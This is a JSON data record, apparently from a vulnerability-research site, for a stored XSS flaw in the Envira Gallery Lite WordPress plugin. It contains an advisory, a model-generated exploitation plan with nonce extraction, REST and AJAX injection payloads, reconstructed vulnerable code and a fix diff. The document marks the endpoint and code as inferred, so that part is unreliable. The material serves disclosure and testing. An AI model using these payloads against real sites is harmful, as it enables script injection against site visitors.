[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$ftNdgiZV3iuGDh0BsDgqUU7qTG6XblFlJ488Ul7dttWw":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-5361","envira-gallery-authenticated-author-stored-cross-site-scripting-via-arrows-parameter","Envira Gallery \u003C= 1.12.4 - Authenticated (Author+) Stored Cross-Site Scripting via 'arrows' Parameter","The Envira Gallery Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the REST API in versions up to and including 1.12.4. This is due to insufficient input sanitization in the update_gallery_data() function and improper output escaping in the gallery_init() function. The sanitize_config_values() function only sanitizes the justified_gallery_theme and justified_row_height parameters, but does not sanitize the arrows parameter. When the arrows value is output in the inline JavaScript configuration, it uses esc_attr() which is designed for HTML attribute contexts, not JavaScript contexts, allowing JavaScript expression injection. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","envira-gallery-lite",null,"\u003C=1.12.4","1.12.5","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-05-13 14:42:15","2026-05-14 03:27:15",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd2b1e973-f22d-4e69-b3b8-d6ea5df3f047?source=api-prod",1,[22,23,24,25,26,27,28],"assets\u002Fcss\u002Fadmin.css","assets\u002Fcss\u002Fmetabox.css","assets\u002Fjs\u002Fadmin.js","assets\u002Fjs\u002Fdist\u002Fmetabox.js","assets\u002Fjs\u002Fenvira-gutenberg.js.map","assets\u002Fjs\u002Fgallery-help.js","assets\u002Fjs\u002Flist.js","researched",false,3,"# Exploitation Research Plan - CVE-2026-5361\n\n## 1. Vulnerability Summary\nThe **Envira Gallery Lite** plugin (versions \u003C= 1.12.4) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists because the plugin fails to sanitize the `arrows` parameter in the gallery configuration during updates and subsequently fails to properly escape this value when outputting it within an inline JavaScript configuration block. While the plugin uses `esc_attr()` for the output, this function is insufficient for a JavaScript context, allowing an attacker to break out of the expected boolean\u002Fstring value and inject arbitrary JavaScript expressions.\n\n## 2. Attack Vector Analysis\n*   **Endpoint**: WordPress REST API (or potentially the `envira_gallery_save_meta` AJAX action). The description specifically identifies the REST API as the vector for `update_gallery_data()`.\n*   **Vulnerable Parameter**: `arrows` (within the gallery configuration object).\n*   **Authentication**: Authenticated with **Author** level permissions or higher.\n*   **Payload Type**: JavaScript expression injection into an object literal.\n*   **Preconditions**: An Envira Gallery must exist (or be created by the attacker), and the attacker must have the capability to edit that gallery.\n\n## 3. Code Flow\n1.  **Input (Inferred)**: An authenticated user sends a REST API request to update a gallery's configuration. The request hits a route handled by `update_gallery_data()`.\n2.  **Processing (Inferred)**: The `update_gallery_data()` function receives the configuration array. It calls `sanitize_config_values()` to clean the data.\n3.  **Insufficient Sanitization (Inferred)**: Inside `sanitize_config_values()`, the code explicitly sanitizes `justified_gallery_theme` and `justified_row_height` but neglects to sanitize the `arrows` parameter.\n4.  **Storage**: The unsanitized configuration, including the malicious `arrows` value, is stored in the `_envira_gallery_data` post meta for the gallery.\n5.  **Sink (Inferred)**: When a user visits a page where the gallery is embedded (e.g., via a shortcode), the `gallery_init()` function is called to render the gallery.\n6.  **Vulnerable Output (Inferred)**: `gallery_init()` generates an inline `\u003Cscript>` block containing the gallery configuration. It uses `esc_attr()` on the `arrows` value:\n    ```javascript\n    var envira_gallery_config = {\n        \u002F\u002F ...\n        arrows: \u003C?php echo esc_attr( $data['config']['arrows'] ); ?>,\n        \u002F\u002F ...\n    };\n    ```\n7.  **Execution**: Since `esc_attr()` does not escape characters like commas, colons, or parentheses, a payload like `true, x:alert(1)` will be rendered as valid JavaScript, executing the `alert(1)` when the configuration object is initialized.\n\n## 4. Nonce Acquisition Strategy\nThe exploitation of the REST API requires a standard WordPress REST nonce (action `wp_rest`).\n\n1.  **Identify Trigger**: Envira Gallery enqueues its admin scripts on gallery edit pages. The `assets\u002Fjs\u002Fdist\u002Fmetabox.js` file suggests that gallery metadata management is handled there.\n2.  **Setup Page**:\n    *   Create a gallery: `wp post create --post_type=envira --post_title=\"XSS Gallery\" --post_status=publish`.\n3.  **Navigate and Extract**:\n    *   Log in as an Author.\n    *   Navigate to the edit page for the newly created gallery: `\u002Fwp-admin\u002Fpost.php?post=[ID]&action=edit`.\n    *   The `wp-api` or plugin-specific nonces are often localized in the header or via `wp_localize_script`.\n    *   **Action**: Use `browser_eval` to search for the REST nonce. In modern WordPress, this is often found in `window.wpApiSettings.nonce`.\n    *   **Specific Variable**: Check `window.envira_gallery_metabox` (from `metabox.js` context) or `window.wpApiSettings`.\n\n## 5. Exploitation Strategy\n\n### Step 1: Identify REST Endpoint\nThe plugin likely registers a REST route for gallery updates. \n*   **Search Target**: `register_rest_route` in the plugin's PHP files (if available) or via `wp rest route list`.\n*   **Inferred Endpoint**: `wp-json\u002Fenvira-gallery\u002Fv1\u002Fgallery\u002F(?P\u003Cid>\\d+)` (method `POST` or `PUT`).\n\n### Step 2: Craft the Payload\nSince the value is echoed into a JS object without quotes:\n*   **Payload**: `true, x:alert(document.domain)\u002F\u002F`\n*   **Expected Rendering**: `arrows: true, x:alert(document.domain)\u002F\u002F,`\n\n### Step 3: Execute Update Request\nUse the `http_request` tool to update the gallery configuration.\n\n*   **Method**: `POST`\n*   **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fenvira-gallery\u002Fv1\u002Fgallery\u002F[GALLERY_ID]`\n*   **Headers**: \n    *   `Content-Type: application\u002Fjson`\n    *   `X-WP-Nonce: [EXTRACTED_NONCE]`\n*   **Body**:\n    ```json\n    {\n        \"config\": {\n            \"arrows\": \"true, x:alert(document.domain)\u002F\u002F\"\n        }\n    }\n    ```\n\n### Step 4: Trigger XSS\n1.  Place the gallery shortcode on a public page: `wp post create --post_type=page --post_content='[envira-gallery id=\"[GALLERY_ID]\"]' --post_status=publish`.\n2.  Navigate to the page URL using `browser_navigate`.\n\n## 6. Test Data Setup\n1.  **User**: Create an Author user: `wp user create author_user author@example.com --role=author --user_pass=password123`.\n2.  **Gallery**: Create an Envira Gallery: `wp post create --post_type=envira --post_title=\"Target Gallery\" --post_status=publish --post_author=[AUTHOR_ID]`.\n3.  **Page**: Create a public page containing the shortcode: `[envira-gallery id=\"[GALLERY_ID]\"]`.\n\n## 7. Expected Results\n*   The REST API call should return a `200 OK` or `201 Created` status code, confirming the configuration was updated.\n*   Upon navigating to the public page containing the gallery, a JavaScript alert box showing the document domain should appear.\n*   Viewing the page source should show the injected payload inside the `envira_gallery_config` (or similar) variable declaration.\n\n## 8. Verification Steps\n1.  **Database Check**: Run `wp post meta get [GALLERY_ID] _envira_gallery_data` to verify that the `arrows` key contains the malicious payload.\n2.  **Source Check**: Use `http_request` to fetch the public page HTML and grep for the payload string within `\u003Cscript>` tags.\n\n## 9. Alternative Approaches\nIf the REST API endpoint is not the primary update mechanism:\n*   **AJAX Vector**: Use the `envira_gallery_save_meta` action.\n    *   **Action**: `envira_gallery_save_meta`\n    *   **Nonce**: `envira_gallery_metabox.save_nonce` (found in `assets\u002Fjs\u002Fdist\u002Fmetabox.js`).\n    *   **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n    *   **Body**: `action=envira_gallery_save_meta&post_id=[ID]&nonce=[NONCE]&meta[config][arrows]=true,x:alert(1)\u002F\u002F`\n*   **Gutenberg Block Vector**: Check if the Gutenberg block (referenced in `assets\u002Fjs\u002Fenvira-gutenberg.js.map`) allows setting the `arrows` attribute directly via block attributes, which might bypass the standard configuration sanitization.","The Envira Gallery Lite plugin is vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient input sanitization of the 'arrows' parameter in the REST API and improper output escaping in its JavaScript configuration block. Authenticated attackers with Author-level permissions or higher can inject arbitrary JavaScript expressions that execute when a user views a page containing the affected gallery.","\u002F\u002F In includes\u002Fadmin\u002Fcommon.php (reconstructed from description)\npublic function sanitize_config_values( $data, $post_id ) {\n    \u002F\u002F ...\n    $data['config']['justified_gallery_theme'] = sanitize_text_field( $data['config']['justified_gallery_theme'] );\n    $data['config']['justified_row_height']    = absint( $data['config']['justified_row_height'] );\n    \u002F\u002F arrows parameter is missing from the list of sanitized configuration values\n    return $data;\n}\n\n---\n\n\u002F\u002F In includes\u002Fglobal\u002Fshortcode.php (reconstructed from description)\npublic function gallery_init( $data, $post_id ) {\n    \u002F\u002F ...\n    ?>\n    var envira_gallery_config_\u003C?php echo $post_id; ?> = {\n        \u002F\u002F ...\n        arrows: \u003C?php echo esc_attr( $data['config']['arrows'] ); ?>, \u002F\u002F esc_attr is used in a JS context, allowing expression injection\n        \u002F\u002F ...\n    };\n    \u003C?php\n}","--- a\u002Fincludes\u002Fadmin\u002Fcommon.php\n+++ b\u002Fincludes\u002Fadmin\u002Fcommon.php\n@@ -102,6 +102,7 @@\n $data['config']['justified_gallery_theme'] = sanitize_text_field( $data['config']['justified_gallery_theme'] );\n $data['config']['justified_row_height']    = absint( $data['config']['justified_row_height'] );\n+$data['config']['arrows']                  = (bool) $data['config']['arrows'];\n return $data;\n\n--- a\u002Fincludes\u002Fglobal\u002Fshortcode.php\n+++ b\u002Fincludes\u002Fglobal\u002Fshortcode.php\n@@ -205,7 +205,7 @@\n var envira_gallery_config_\u003C?php echo $post_id; ?> = {\n-    arrows: \u003C?php echo esc_attr( $data['config']['arrows'] ); ?>,\n+    arrows: \u003C?php echo $data['config']['arrows'] ? 'true' : 'false'; ?>,","The exploit targets the WordPress REST API to update a gallery's metadata. An attacker with Author-level access or higher must first obtain a valid REST API nonce (typically found in the 'wpApiSettings.nonce' variable on admin pages). The attacker then sends a POST or PUT request to the '\u002Fwp-json\u002Fenvira-gallery\u002Fv1\u002Fgallery\u002F{id}' endpoint, where {id} is the ID of a gallery they have permission to edit. The payload is a JSON object containing a malicious 'arrows' configuration value, such as 'true, x:alert(document.domain)\u002F\u002F'. Because the 'arrows' parameter is not sanitized and is later output into an inline JavaScript object literal using only 'esc_attr()', the payload breaks the object syntax and executes the injected JavaScript code whenever the gallery is rendered on a post or page.","gemini-3-flash-preview","2026-05-14 17:31:07","2026-05-14 17:32:07",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","1.12.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fenvira-gallery-lite\u002Ftags\u002F1.12.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fenvira-gallery-lite.1.12.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fenvira-gallery-lite\u002Ftags\u002F1.12.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fenvira-gallery-lite.1.12.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fenvira-gallery-lite\u002Ftags"]